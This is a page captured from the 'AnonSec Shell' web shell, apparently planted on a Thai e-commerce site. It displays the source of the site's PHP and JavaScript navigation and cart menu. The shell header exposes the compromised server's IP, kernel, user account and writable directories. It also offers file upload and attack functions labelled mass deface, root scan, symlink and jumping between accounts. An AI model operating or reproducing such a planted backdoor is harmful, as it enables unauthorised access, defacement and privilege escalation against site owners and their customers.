AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/homhuan.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/homhuan.com/include/menu_24082564.php
<style>
.dropdown-cart
{
	position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;/*min-width:480px;*/padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)
}
</style>
<script>

function delete_cart(var1)
{
	  var xhttp = new XMLHttpRequest();
	  xhttp.onreadystatechange = function() {
		if (xhttp.readyState == 4 && xhttp.status == 200) {
		  document.getElementById("cart_1").innerHTML = xhttp.responseText;
		  document.getElementById("cart_2").innerHTML = xhttp.responseText;
		  num_cart();
		}
	  };
	  xhttp.open("GET", "../cart/delete_cart.php?cart_id="+var1, true);
	  xhttp.send();
	  
}
function num_cart()
{
	
	 var xhttp = new XMLHttpRequest();
	  xhttp.onreadystatechange = function() {
		if (xhttp.readyState == 4 && xhttp.status == 200) {
		  document.getElementById("num_cart").innerHTML = xhttp.responseText;
		}
	  };
	  xhttp.open("GET", "../cart/num_cart.php", true);
	  xhttp.send();	
}
function load_cartall() 
{
	 $(document).ready(function(){
		$('ul.dropdown-menu').on("click", function(e){
			$(this).next('ul').toggle();
			e.stopPropagation();
			//e.preventDefault();
		  });
	   
	});
  
  //$('.dropdown').find('ul.dropdown-menu').stop(true, true).show();
   
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (xhttp.readyState == 4 && xhttp.status == 200) {
      document.getElementById("cart_1").innerHTML = xhttp.responseText;
	  document.getElementById("cart_2").innerHTML = xhttp.responseText;
    }
  };
  xhttp.open("GET", "../cart/ajax_cartall.php", true);
  xhttp.send();
  
 
}

</script>
<div class="container div_main p_top20">

      <nav class="navbar navbar-inverse">
      <div>
        <div class="navbar-header">
        <div align="right" class=" cart dropdown" style="padding-top:10px;padding-right:8px;"> 
                  <a id="dLabel"  onclick="load_cartall()" data-target="#" href="#" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false" style="color:#000;text-decoration:none;">
                   <img src="../image/icon_cart.png" width="20" height="20">
                  </a>
                  
                  <ul class="dropdown-menu menu_cart2"  id="cart_2" aria-labelledby="dLabel">
                     
                  </ul>
                </div>
        
        
        
        
        
        
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="../home/index.php"><img src="../image/logo.png" width="188" height="48" class="img-responsive"></a>
        </div>
        <div id="navbar" class="collapse navbar-collapse">
          <ul class="nav navbar-nav menu_top ">
            <li class="active li_one" ><a href="../product/product.php?type=men">สินค้าผู้ชาย</a></li>
            <li><a href="../product/product.php?type=female">สินค้าผู้หญิง</a></li>
            <li><a href="../product/product.php?type=nun">สินค้าแม่ชี</a></li>
            <li><a href="../product/product.php?type=child">สินค้าเด็ก</a></li>
            <li><a href="../product/product.php?type=another">สินค้าอื่น</a></li>
            <li><a href="../product/product.php?type=mohom">&#3627;&#3617;&#3657;&#3629;&#3630;&#3656;&#3629;&#3617;</a></li>
            <li><a href="../aboutus/">เกี่ยวกับเรา</a></li>
            <!--<li><a href="../instagram/index.php">รูปวัด</a></li>-->
            <li class="menu_login"><a href="../member/login.php">เข้าสู่ระบบ</a></li>
          </ul>
          
          <ul class="nav navbar-nav  menu_topright">
            <?php
            if($_SESSION["hom_login"] == 1)
			{
				?>
                <li style="margin-top:-5px;">
                <a href="../member/profile.php" style="float:left;" title="ดูข้อมูลส่วนตัว"><img src="../image/icon_user_on.png" width="20" height="20"><?php echo $_SESSION["hom_name"];?></a><a href="../include/logout.php" style="float:left;"><span style="color:#f68236;font-size:20px;">(ออกจากระบบ)</span></a></li>
                <?php	
			}
			else
			{
				?>
                <li style="margin-top:-5px;"><a href="../member/login.php"><img src="../image/icon_user.png" width="20" height="20"> เข้าสู่ระบบ</a></li>
                <?php	
			}
			?>
            
            <li>
            	 <div class="dropdown" style="padding-top:5px;padding-right:3px;">
                  <a id="dLabel" onclick="load_cartall()" data-target="#" href="#" 
                  data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="true" style="color:#000;text-decoration:none;">
                    <img src="../image/icon_cart.png" width="20" height="20"> ตะกร้าสินค้า [<span id="num_cart"><?php echo (int)$_SESSION["num_cart"];?></span>]
                  </a>
                  
                  <ul class="dropdown-menu menu_cart" id="cart_1" aria-labelledby="dLabel">
                   	 
                     
                  </ul>
                </div>
            	
            </li>
           
            
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav>
    
      <div class="col-md-12" style="border-bottom:1px solid #e5e5e5;"></div>

    </div>
<?php
if($menu == 'home')
{
	$sql = 'SELECT *  FROM view WHERE id = 1';
	$row = $view_db->q($sql);
	$viewplus = $row['view']+1;
	
	
	$list = array(	
			'table'=>'view',
			'id'=>1,
			'view'=>$viewplus
		);
	$add = $actiondata_db->edit_db($list);
}
if($menu == 'product')
{
	$sql_2 = 'SELECT *  FROM view WHERE id = 2';
	$row_2 = $view_db->q($sql_2);
	$viewplus = $row['view']+1;
	
	$list_2 = array(	
			'table'=>'view',
			'id'=>2,
			'view'=>$viewplus
		);
	$add_v = $actiondata_db->edit_db($list_2);
}

?>    
    
 

Anon7 - 2022
AnonSec Team